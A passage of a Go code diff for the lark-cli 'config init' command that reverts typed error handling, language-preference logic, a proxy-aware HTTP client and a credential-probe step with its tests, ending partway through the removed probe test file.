-// printLangPreferenceConfirmation echoes the set preference to stderr, only
-// when --lang explicitly set a non-empty value.
-func printLangPreferenceConfirmation(opts *ConfigInitOptions) {
-	if !opts.langExplicit || opts.Lang == "" {
-		return
-	}
-	msg := getInitMsg(opts.UILang)
-	fmt.Fprintln(opts.Factory.IOStreams.ErrOut, fmt.Sprintf(msg.LangPreferenceSet, opts.Lang))
-}
-
-func validateInitLang(opts *ConfigInitOptions) error {
-	lang, err := cmdutil.ParseLangFlag(opts.Lang)
-	if err != nil {
-		return err
-	}
-	opts.Lang = string(lang)
-	return nil
-}
-
 // guardAgentWorkspace refuses 'config init' when run inside an OpenClaw or
 // Hermes Agent context, because the Agent has already provisioned an app
 // and 'config bind' is the right tool for hooking lark-cli into it.
@@ -125,9 +99,12 @@ func guardAgentWorkspace(opts *ConfigInitOptions) error {
 	if ws.IsLocal() {
 		return nil
 	}
-	return errs.NewConfigError(errs.SubtypeNotConfigured,
-		"config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()).
-		WithHint("see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.")
+	return &core.ConfigError{
+		Code:    2,
+		Type:    ws.Display(),
+		Message: fmt.Sprintf("config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()),
+		Hint:    "see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.",
+	}
 }

 // hasAnyNonInteractiveFlag returns true if any non-interactive flag is set.
@@ -155,7 +132,7 @@ func cleanupOldConfig(existing *core.MultiAppConfig, f *cmdutil.Factory, skipApp
 func saveAsOnlyApp(appId string, secret core.SecretInput, brand core.LarkBrand, lang string) error {
 	config := &core.MultiAppConfig{
 		Apps: []core.AppConfig{{
-			AppId: appId, AppSecret: secret, Brand: brand, Lang: i18n.Lang(lang), Users: []core.AppUser{},
+			AppId: appId, AppSecret: secret, Brand: brand, Lang: lang, Users: []core.AppUser{},
 		}},
 	}
 	return core.SaveMultiAppConfig(config)
@@ -169,27 +146,7 @@ func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmduti
 		return saveAsProfile(existing, f.Keychain, profileName, appId, secret, brand, lang)
 	}
 	cleanupOldConfig(existing, f, appId)
-	var prior i18n.Lang
-	if existing != nil {
-		if app := existing.CurrentAppConfig(""); app != nil {
-			prior = app.Lang
-		}
-	}
-	return saveAsOnlyApp(appId, secret, brand, string(preferredLang(i18n.Lang(lang), prior)))
-}
-
-// wrapSaveConfigError passes an already-typed error (e.g. the --name conflict
-// validation error from saveAsProfile) through unchanged, and classifies any
-// other failure as an internal storage error. Without the passthrough a user
-// input error would surface to agents as a system storage failure.
-func wrapSaveConfigError(err error) error {
-	if err == nil {
-		return nil
-	}
-	if _, ok := errs.ProblemOf(err); ok {
-		return err
-	}
-	return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+	return saveAsOnlyApp(appId, secret, brand, lang)
 }

 // saveAsProfile appends or updates a named profile in the config.
@@ -210,15 +167,14 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
 			}
 			multi.Apps[idx].Users = []core.AppUser{}
 		}
+		// Update existing profile
 		multi.Apps[idx].AppId = appId
 		multi.Apps[idx].AppSecret = secret
 		multi.Apps[idx].Brand = brand
-		multi.Apps[idx].Lang = preferredLang(i18n.Lang(lang), multi.Apps[idx].Lang)
+		multi.Apps[idx].Lang = lang
 	} else {
 		if findAppIndexByAppID(multi, profileName) >= 0 {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"profile name %q conflicts with existing appId", profileName).
-				WithParam("--name")
+			return fmt.Errorf("profile name %q conflicts with existing appId", profileName)
 		}
 		// Append new profile
 		multi.Apps = append(multi.Apps, core.AppConfig{
@@ -226,7 +182,7 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
 			AppId:     appId,
 			AppSecret: secret,
 			Brand:     brand,
-			Lang:      i18n.Lang(lang),
+			Lang:      lang,
 			Users:     []core.AppUser{},
 		})
 	}
@@ -257,25 +213,9 @@ func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
 	return -1
 }

-// wrapUpdateExistingProfileErr classifies the error returned by
-// updateExistingProfileWithoutSecret. Typed errors (e.g. *errs.ValidationError
-// for blank-input) pass through unchanged so their exit code semantics
-// survive; everything else (filesystem, keychain, etc.) is wrapped as
-// InternalError.
-func wrapUpdateExistingProfileErr(err error) error {
-	if err == nil {
-		return nil
-	}
-	if errs.IsTyped(err) {
-		return err
-	}
-	return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
-}
-
 func updateExistingProfileWithoutSecret(existing *core.MultiAppConfig, profileName, appID string, brand core.LarkBrand, lang string) error {
 	if existing == nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new configuration").
-			WithParam("--app-secret")
+		return output.ErrValidation("App Secret cannot be empty for new configuration")
 	}

 	var app *core.AppConfig
@@ -283,25 +223,22 @@ func updateExistingProfileWithoutSecret(existing *core.MultiAppConfig, profileNa
 		if idx := findProfileIndexByName(existing, profileName); idx >= 0 {
 			app = &existing.Apps[idx]
 		} else {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new profile").
-				WithParam("--app-secret")
+			return output.ErrValidation("App Secret cannot be empty for new profile")
 		}
 	} else {
 		app = existing.CurrentAppConfig("")
 		if app == nil {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new configuration").
-				WithParam("--app-secret")
+			return output.ErrValidation("App Secret cannot be empty for new configuration")
 		}
 	}

 	if app.AppId != appID {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty when changing App ID").
-			WithParam("--app-secret")
+		return output.ErrValidation("App Secret cannot be empty when changing App ID")
 	}

 	app.AppId = appID
 	app.Brand = brand
-	app.Lang = preferredLang(i18n.Lang(lang), app.Lang)
+	app.Lang = lang
 	return core.SaveMultiAppConfig(existing)
 }

@@ -313,13 +250,13 @@ func configInitRun(opts *ConfigInitOptions) error {
 		scanner := bufio.NewScanner(f.IOStreams.In)
 		if !scanner.Scan() {
 			if err := scanner.Err(); err != nil {
-				return errs.NewValidationError(errs.SubtypeInvalidArgument, "failed to read secret from stdin: %v", err).WithCause(err)
+				return output.ErrValidation("failed to read secret from stdin: %v", err)
 			}
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "stdin is empty, expected app secret")
+			return output.ErrValidation("stdin is empty, expected app secret")
 		}
 		opts.appSecret = strings.TrimSpace(scanner.Text())
 		if opts.appSecret == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "app secret read from stdin is empty")
+			return output.ErrValidation("app secret read from stdin is empty")
 		}
 	}

@@ -331,7 +268,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 	// Validate --profile name if set
 	if opts.ProfileName != "" {
 		if err := core.ValidateProfileName(opts.ProfileName); err != nil {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "%v", err).WithCause(err)
+			return output.ErrValidation("%v", err)
 		}
 	}

@@ -340,33 +277,35 @@ func configInitRun(opts *ConfigInitOptions) error {
 		brand := parseBrand(opts.Brand)
 		secret, err := core.ForStorage(opts.AppID, core.PlainSecret(opts.appSecret), f.Keychain)
 		if err != nil {
-			return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
+			return output.Errorf(output.ExitInternal, "internal", "%v", err)
 		}
 		if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
-			return wrapSaveConfigError(err)
+			return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 		}
 		output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
-		printLangPreferenceConfirmation(opts)
 		output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": opts.AppID, "appSecret": "****", "brand": brand})
-		if err := runProbe(opts.Ctx, f, opts.AppID, opts.appSecret, brand); err != nil {
-			return err
-		}
 		return nil
 	}

-	// For interactive modes, prompt language selection if --lang was not explicitly set.
-	// Picker offers 2 options (中文 / English) and drives BOTH opts.Lang
-	// (preference) and opts.UILang (TUI rendering).
+	// For interactive modes, prompt language selection if --lang was not explicitly set
 	if f.IOStreams.IsTerminal && !opts.langExplicit && !opts.hasAnyNonInteractiveFlag() {
-		lang, err := promptLangSelection()
-		if err != nil {
-			return langSelectionError(err)
+		savedLang := ""
+		if existing != nil {
+			if app := existing.CurrentAppConfig(""); app != nil {
+				savedLang = app.Lang
+			}
 		}
-		opts.Lang = string(lang)
-		opts.UILang = lang
+		lang, err := promptLangSelection(savedLang)
+		if err != nil {
+			if err == huh.ErrUserAborted {
+				return output.ErrBare(1)
+			}
+			return err
+		}
+		opts.Lang = lang
 	}

-	msg := getInitMsg(opts.UILang)
+	msg := getInitMsg(opts.Lang)

 	// Mode 3: Create new app directly (--new)
 	if opts.New {
@@ -375,21 +314,17 @@ func configInitRun(opts *ConfigInitOptions) error {
 			return err
 		}
 		if result == nil {
-			return errs.NewInternalError(errs.SubtypeSDKError, "app creation returned no result")
+			return output.ErrValidation("app creation returned no result")
 		}
 		existing, _ := core.LoadMultiAppConfig()
 		secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
 		if err != nil {
-			return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
+			return output.Errorf(output.ExitInternal, "internal", "%v", err)
 		}
 		if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
-			return wrapSaveConfigError(err)
+			return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 		}
-		printLangPreferenceConfirmation(opts)
 		output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": result.AppID, "appSecret": "****", "brand": result.Brand})
-		if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
-			return err
-		}
 		return nil
 	}

@@ -400,8 +335,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 			return err
 		}
 		if result == nil {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
-				WithParam("--app-id")
+			return output.ErrValidation("App ID and App Secret cannot be empty")
 		}

 		existing, _ := core.LoadMultiAppConfig()
@@ -410,36 +344,33 @@ func configInitRun(opts *ConfigInitOptions) error {
 			// New secret provided (either from "create" or "existing" with input)
 			secret, err := core.ForStorage(result.AppID, core.PlainSecret(result.AppSecret), f.Keychain)
 			if err != nil {
-				return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
+				return output.Errorf(output.ExitInternal, "internal", "%v", err)
 			}
 			if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
-				return wrapSaveConfigError(err)
+				return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 			}
 		} else if result.Mode == "existing" && result.AppID != "" {
 			// Existing app with unchanged secret — update app ID and brand only
-			if err := wrapUpdateExistingProfileErr(updateExistingProfileWithoutSecret(existing, opts.ProfileName, result.AppID, result.Brand, opts.Lang)); err != nil {
-				return err
+			if err := updateExistingProfileWithoutSecret(existing, opts.ProfileName, result.AppID, result.Brand, opts.Lang); err != nil {
+				var exitErr *output.ExitError
+				if errors.As(err, &exitErr) {
+					return err
+				}
+				return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 			}
 		} else {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
-				WithParam("--app-id")
+			return output.ErrValidation("App ID and App Secret cannot be empty")
 		}

 		if result.Mode == "existing" {
 			output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.ConfigSaved, result.AppID))
 		}
-		printLangPreferenceConfirmation(opts)
-		if result.AppSecret != "" {
-			if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
-				return err
-			}
-		}
 		return nil
 	}

 	// Non-terminal: cannot run interactive mode, guide user to --new
 	if !f.IOStreams.IsTerminal {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "config init requires a terminal for interactive mode. Run with --new to create a new app:\n  lark-cli config init --new\nThis command blocks until setup is complete and outputs a verification URL. Run it in the background, then retrieve the URL from its output.")
+		return output.ErrValidation("config init requires a terminal for interactive mode. Run with --new to create a new app:\n  lark-cli config init --new\nThis command blocks until setup is complete and outputs a verification URL. Run it in the background, then retrieve the URL from its output.")
 	}

 	// Mode 5: Legacy interactive (readline fallback)
@@ -467,7 +398,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 	}
 	appIdInput, err := readLine(prompt)
 	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
+		return output.ErrValidation("%s", err)
 	}

 	prompt = "App Secret"
@@ -476,7 +407,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 	}
 	appSecretInput, err := readLine(prompt)
 	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
+		return output.ErrValidation("%s", err)
 	}

 	prompt = "Brand (lark/feishu)"
@@ -487,7 +418,7 @@ func configInitRun(opts *ConfigInitOptions) error {
 	}
 	brandInput, err := readLine(prompt)
 	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).WithCause(err)
+		return output.ErrValidation("%s", err)
 	}

 	resolvedAppId := appIdInput
@@ -509,23 +440,16 @@ func configInitRun(opts *ConfigInitOptions) error {
 	}

 	if resolvedAppId == "" || resolvedSecret.IsZero() {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
-			WithParam("--app-id")
+		return output.ErrValidation("App ID and App Secret cannot be empty")
 	}

 	storedSecret, err := core.ForStorage(resolvedAppId, resolvedSecret, f.Keychain)
 	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "%v", err)
 	}
 	if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
-		return wrapSaveConfigError(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 	}
 	output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
-	printLangPreferenceConfirmation(opts)
-	if appSecretInput != "" {
-		if err := runProbe(opts.Ctx, f, resolvedAppId, appSecretInput, parseBrand(resolvedBrand)); err != nil {
-			return err
-		}
-	}
 	return nil
 }
--- a/cmd/config/init_guard_test.go
+++ b/cmd/config/init_guard_test.go
@@ -8,7 +8,7 @@ import (
 	"strings"
 	"testing"

-	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
 )

 func TestGuardAgentWorkspace_LocalAllows(t *testing.T) {
@@ -26,15 +26,12 @@ func TestGuardAgentWorkspace_OpenClawRefuses(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected refusal in OpenClaw context, got nil")
 	}
-	var cfgErr *errs.ConfigError
+	var cfgErr *core.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *errs.ConfigError", err)
+		t.Fatalf("error type = %T, want *core.ConfigError", err)
 	}
-	if cfgErr.Subtype != errs.SubtypeNotConfigured {
-		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
-	}
-	if !strings.Contains(cfgErr.Message, "openclaw") {
-		t.Errorf("message must name the openclaw workspace; got %q", cfgErr.Message)
+	if cfgErr.Type != "openclaw" {
+		t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
 	}
 	if !strings.Contains(cfgErr.Hint, "config bind --help") {
 		t.Errorf("hint must point to config bind --help; got %q", cfgErr.Hint)
@@ -51,15 +48,12 @@ func TestGuardAgentWorkspace_HermesRefuses(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected refusal in Hermes context, got nil")
 	}
-	var cfgErr *errs.ConfigError
+	var cfgErr *core.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *errs.ConfigError", err)
+		t.Fatalf("error type = %T, want *core.ConfigError", err)
 	}
-	if cfgErr.Subtype != errs.SubtypeNotConfigured {
-		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
-	}
-	if !strings.Contains(cfgErr.Message, "hermes") {
-		t.Errorf("message must name the hermes workspace; got %q", cfgErr.Message)
+	if cfgErr.Type != "hermes" {
+		t.Errorf("type = %q, want %q", cfgErr.Type, "hermes")
 	}
 }

--- a/cmd/config/init_interactive.go
+++ b/cmd/config/init_interactive.go
@@ -6,17 +6,16 @@ package config
 import (
 	"context"
 	"fmt"
+	"net/http"

 	"github.com/charmbracelet/huh"
 	"github.com/larksuite/cli/internal/build"
 	qrcode "github.com/skip2/go-qrcode"

-	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/transport"
 )

 // configInitResult holds the result of the interactive config init flow.
@@ -126,16 +125,8 @@ func runExistingAppForm(f *cmdutil.Factory, msg *initMsg) (*configInitResult, er
 		}, nil
 	}

-	switch {
-	case appID == "" && appSecret == "":
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID and App Secret cannot be empty").
-			WithParam("--app-id")
-	case appID == "":
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App ID cannot be empty").
-			WithParam("--app-id")
-	case appSecret == "":
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty").
-			WithParam("--app-secret")
+	if appID == "" || appSecret == "" {
+		return nil, output.ErrValidation("App ID and App Secret cannot be empty")
 	}

 	return &configInitResult{
@@ -177,12 +168,10 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 	}

 	// Step 1: Request app registration (begin)
-	// Use the shared proxy-plugin-aware transport so registration traffic is not
-	// a bypass of proxy plugin mode.
-	httpClient := transport.NewHTTPClient(0)
+	httpClient := &http.Client{}
 	authResp, err := larkauth.RequestAppRegistration(httpClient, larkBrand, f.IOStreams.ErrOut)
 	if err != nil {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration failed: %v", err).WithCause(err)
+		return nil, output.ErrAuth("app registration failed: %v", err)
 	}

 	// Step 2: Build and display verification URL + QR code
@@ -210,7 +199,7 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 	}
 	result, err := larkauth.PollAppRegistration(ctx, httpClient, core.BrandFeishu, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
 	if err != nil {
-		return nil, errs.NewAuthenticationError(errs.SubtypeUnknown, "%v", err).WithCause(err)
+		return nil, output.ErrAuth("%v", err)
 	}

 	// Step 4: Handle Lark brand special case
@@ -219,12 +208,12 @@ func runCreateAppFlow(ctx context.Context, f *cmdutil.Factory, brandOverride cor
 		// fmt.Fprintf(f.IOStreams.ErrOut, "%s\n", msg.DetectedLarkTenant)
 		result, err = larkauth.PollAppRegistration(ctx, httpClient, core.BrandLark, authResp.DeviceCode, authResp.Interval, authResp.ExpiresIn, f.IOStreams.ErrOut)
 		if err != nil {
-			return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "lark endpoint retry failed: %v", err).WithCause(err)
+			return nil, output.ErrAuth("lark endpoint retry failed: %v", err)
 		}
 	}

 	if result.ClientID == "" || result.ClientSecret == "" {
-		return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "app registration succeeded but missing client_id or client_secret")
+		return nil, output.ErrAuth("app registration succeeded but missing client_id or client_secret")
 	}

 	// Determine final brand from response
--- a/cmd/config/init_messages.go
+++ b/cmd/config/init_messages.go
@@ -4,14 +4,9 @@
 package config

 import (
-	"errors"
-
 	"github.com/charmbracelet/huh"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/i18n"
-	"github.com/larksuite/cli/internal/output"
 )

 type initMsg struct {
@@ -31,10 +26,6 @@ type initMsg struct {
 	DetectedLarkTenant   string
 	AppCreated           string
 	ConfigSaved          string
-
-	// LangPreferenceSet is printed to stderr after a successful init when the
-	// user explicitly passed --lang. Format: language code.
-	LangPreferenceSet string
 }

 var initMsgZh = &initMsg{
@@ -52,7 +43,6 @@ var initMsgZh = &initMsg{
 	DetectedLarkTenant:   "[lark-cli] 检测到 Lark 租户，切换端点重试...",
 	AppCreated:           "应用配置成功! App ID: %s",
 	ConfigSaved:          "应用配置成功! App ID: %s",
-	LangPreferenceSet:    "语言偏好已设置：%s",
 }

 var initMsgEn = &initMsg{
@@ -70,27 +60,29 @@ var initMsgEn = &initMsg{
 	DetectedLarkTenant:   "[lark-cli] Detected Lark tenant, switching endpoint...",
 	AppCreated:           "App configured! App ID: %s",
 	ConfigSaved:          "App configured! App ID: %s",
-	LangPreferenceSet:    "Language preference set to: %s",
 }

-// getInitMsg picks the zh/en TUI bundle; non-English falls back to zh.
-func getInitMsg(lang i18n.Lang) *initMsg {
-	if lang.IsEnglish() {
+func getInitMsg(lang string) *initMsg {
+	if lang == "en" {
 		return initMsgEn
 	}
 	return initMsgZh
 }

-// promptLangSelection shows the 中文/English picker and returns the chosen locale.
-func promptLangSelection() (i18n.Lang, error) {
-	lang := i18n.LangZhCN
+// promptLangSelection shows an interactive language picker and returns the chosen lang code.
+// savedLang is used as the pre-selected default (from existing config).
+func promptLangSelection(savedLang string) (string, error) {
+	lang := savedLang
+	if lang != "en" {
+		lang = "zh"
+	}
 	form := huh.NewForm(
 		huh.NewGroup(
-			huh.NewSelect[i18n.Lang]().
+			huh.NewSelect[string]().
 				Title("Language / 语言").
 				Options(
-					huh.NewOption("中文", i18n.LangZhCN),
-					huh.NewOption("English", i18n.LangEnUS),
+					huh.NewOption("中文", "zh"),
+					huh.NewOption("English", "en"),
 				).
 				Value(&lang),
 		),
@@ -101,12 +93,3 @@ func promptLangSelection() (i18n.Lang, error) {
 	}
 	return lang, nil
 }
-
-// langSelectionError maps a promptLangSelection failure to its exit surface:
-// user abort exits bare with code 1; any other failure is internal.
-func langSelectionError(err error) error {
-	if errors.Is(err, huh.ErrUserAborted) {
-		return output.ErrBare(1)
-	}
-	return errs.NewInternalError(errs.SubtypeUnknown, "language selection failed: %v", err).WithCause(err)
-}
--- a/cmd/config/init_messages_test.go
+++ b/cmd/config/init_messages_test.go
@@ -6,8 +6,6 @@ package config
 import (
 	"fmt"
 	"testing"
-
-	"github.com/larksuite/cli/internal/i18n"
 )

 func TestGetInitMsg_Zh(t *testing.T) {
@@ -31,7 +29,7 @@ func TestGetInitMsg_En(t *testing.T) {
 }

 func TestGetInitMsg_DefaultsToZh(t *testing.T) {
-	for _, lang := range []i18n.Lang{"", "unknown", "xyz", "invalid"} {
+	for _, lang := range []string{"", "fr", "ja", "unknown"} {
 		msg := getInitMsg(lang)
 		if msg != initMsgZh {
 			t.Errorf("getInitMsg(%q) should default to zh", lang)
@@ -64,7 +62,6 @@ func assertAllFieldsNonEmpty(t *testing.T, msg *initMsg, label string) {
 		"DetectedLarkTenant":   msg.DetectedLarkTenant,
 		"AppCreated":           msg.AppCreated,
 		"ConfigSaved":          msg.ConfigSaved,
-		"LangPreferenceSet":    msg.LangPreferenceSet,
 	}
 	for name, val := range fields {
 		if val == "" {
@@ -74,7 +71,7 @@ func assertAllFieldsNonEmpty(t *testing.T, msg *initMsg, label string) {
 }

 func TestInitMsg_FormatStrings(t *testing.T) {
-	for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
+	for _, lang := range []string{"zh", "en"} {
 		msg := getInitMsg(lang)
 		// AppCreated and ConfigSaved should contain %s for App ID
 		got := fmt.Sprintf(msg.AppCreated, "cli_test123")
@@ -87,37 +84,3 @@ func TestInitMsg_FormatStrings(t *testing.T) {
 		}
 	}
 }
-
-func TestGetInitMsg_BilingualCollapse(t *testing.T) {
-	// The TUI is bilingual (zh + en). Only English-bucket languages return the
-	// English struct — by canonical locale ("en_us") or legacy short ("en").
-	// Everything else (zh, the other codes, invalid, "") returns Chinese.
-	tests := []struct {
-		lang       i18n.Lang
-		shouldBeEn bool
-	}{
-		{i18n.LangZhCN, false},
-		{i18n.LangEnUS, true},
-		{"en", true}, // legacy short value
-		{i18n.LangJaJP, false},
-		{"fr_fr", false},
-		{"invalid", false},
-		{"", false},
-	}
-
-	for _, tt := range tests {
-		t.Run(string(tt.lang), func(t *testing.T) {
-			msg := getInitMsg(tt.lang)
-			if msg == nil {
-				t.Fatal("getInitMsg returned nil")
-			}
-			want := initMsgZh
-			if tt.shouldBeEn {
-				want = initMsgEn
-			}
-			if msg != want {
-				t.Errorf("getInitMsg(%q) returned wrong struct", tt.lang)
-			}
-		})
-	}
-}
--- a/cmd/config/init_probe.go
+++ b/cmd/config/init_probe.go
@@ -1,92 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"bytes"
-	"context"
-	"fmt"
-	"io"
-	"net/http"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/build"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/credential"
-)
-
-// probeTimeout is the total wall-clock budget for the credential probe step
-// (covering both TAT acquisition and the subsequent probe request).
-const probeTimeout = 3 * time.Second
-
-// runProbe runs a best-effort credential validation after config init has
-// persisted the App ID and App Secret. It returns a non-nil error only for a
-// deterministic credential-rejection signal; every other outcome returns nil
-// so that valid configurations and transient/upstream noise never block the
-// command.
-//
-// The function performs up to two HTTP calls in series, bounded by
-// probeTimeout:
-//
-//  1. A TAT request using the just-saved credentials. credential.FetchTAT
-//     returns a typed errs.* error (via the shared classifyTATResponseCode)
-//     only when the unified Token Endpoint deterministically rejected the
-//     credentials — an OAuth2 invalid_client / unauthorized_client classified as
-//     CategoryConfig / SubtypeInvalidClient, or whatever codemeta maps. That
-//     typed error is propagated so the root dispatcher renders the canonical
-//     envelope and `config init` exits non-zero — identical to how every other
-//     token-resolving command reports the same bad credentials. Ambiguous
-//     failures (transport errors, transient 5xx/server_error, JSON parse errors,
-//     timeouts) come back as raw untyped errors and are swallowed (return nil),
-//     so valid configurations are never disturbed by upstream noise.
-//     errs.IsTyped is the discriminator.
-//
-//  2. If TAT succeeded, a POST to the probe endpoint is fired. The outcome of
-//     that call (success, server error, timeout, parse failure) is always
-//     ignored — return nil regardless.
-func runProbe(parent context.Context, factory *cmdutil.Factory, appID, appSecret string, brand core.LarkBrand) error {
-	if factory == nil {
-		return nil
-	}
-	httpClient, err := factory.HttpClient()
-	if err != nil {
-		return nil
-	}
-
-	ctx, cancel := context.WithTimeout(parent, probeTimeout)
-	defer cancel()
-
-	token, err := credential.FetchTAT(ctx, httpClient, brand, appID, appSecret)
-	if err != nil {
-		// A typed error from FetchTAT is a deterministic credential rejection
-		// (classifyTATResponseCode). Propagate it so config init exits with the
-		// same envelope the rest of the CLI uses for bad credentials. Untyped
-		// errors are ambiguous (transport / HTTP / parse / timeout) — stay
-		// silent and let the command succeed.
-		if errs.IsTyped(err) {
-			return err
-		}
-		return nil
-	}
-
-	// TAT succeeded — fire the probe call. Any outcome is ignored.
-	url := core.ResolveEndpoints(brand).Open + "/open-apis/application/v6/larksuite_cli_app/probe"
-	body := []byte(fmt.Sprintf(`{"from":"lark-cli/%s"}`, build.Version))
-	req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body))
-	if err != nil {
-		return nil
-	}
-	req.Header.Set("Authorization", "Bearer "+token)
-	req.Header.Set("Content-Type", "application/json")
-
-	resp, err := httpClient.Do(req)
-	if err != nil {
-		return nil
-	}
-	defer resp.Body.Close()
-	_, _ = io.Copy(io.Discard, resp.Body)
-	return nil
-}
--- a/cmd/config/init_probe_test.go
+++ b/cmd/config/init_probe_test.go
@@ -1,287 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"io"
-	"net/http"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/build"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// fakeRT routes requests to per-path handlers and records what it saw.
-type fakeRT struct {
-	tatHandler   func(req *http.Request) (*http.Response, error)
-	probeHandler func(req *http.Request) (*http.Response, error)
-	tatCalls     int
-	probeCalls   int
-	probeReq     *http.Request
-	probeBody    string
-}
-
-func (f *fakeRT) RoundTrip(req *http.Request) (*http.Response, error) {
-	switch {
-	case strings.HasSuffix(req.URL.Path, "/oauth/v3/token"):
-		f.tatCalls++
-		if f.tatHandler == nil {
-			return jsonResp(200, `{"code":0,"access_token":"t-ok","token_type":"Bearer"}`), nil
-		}
-		return f.tatHandler(req)
-	case strings.HasSuffix(req.URL.Path, "/application/v6/larksuite_cli_app/probe"):
-		f.probeCalls++
-		f.probeReq = req
-		if req.Body != nil {
-			b, _ := io.ReadAll(req.Body)
-			f.probeBody = string(b)
-		}
-		if f.probeHandler == nil {
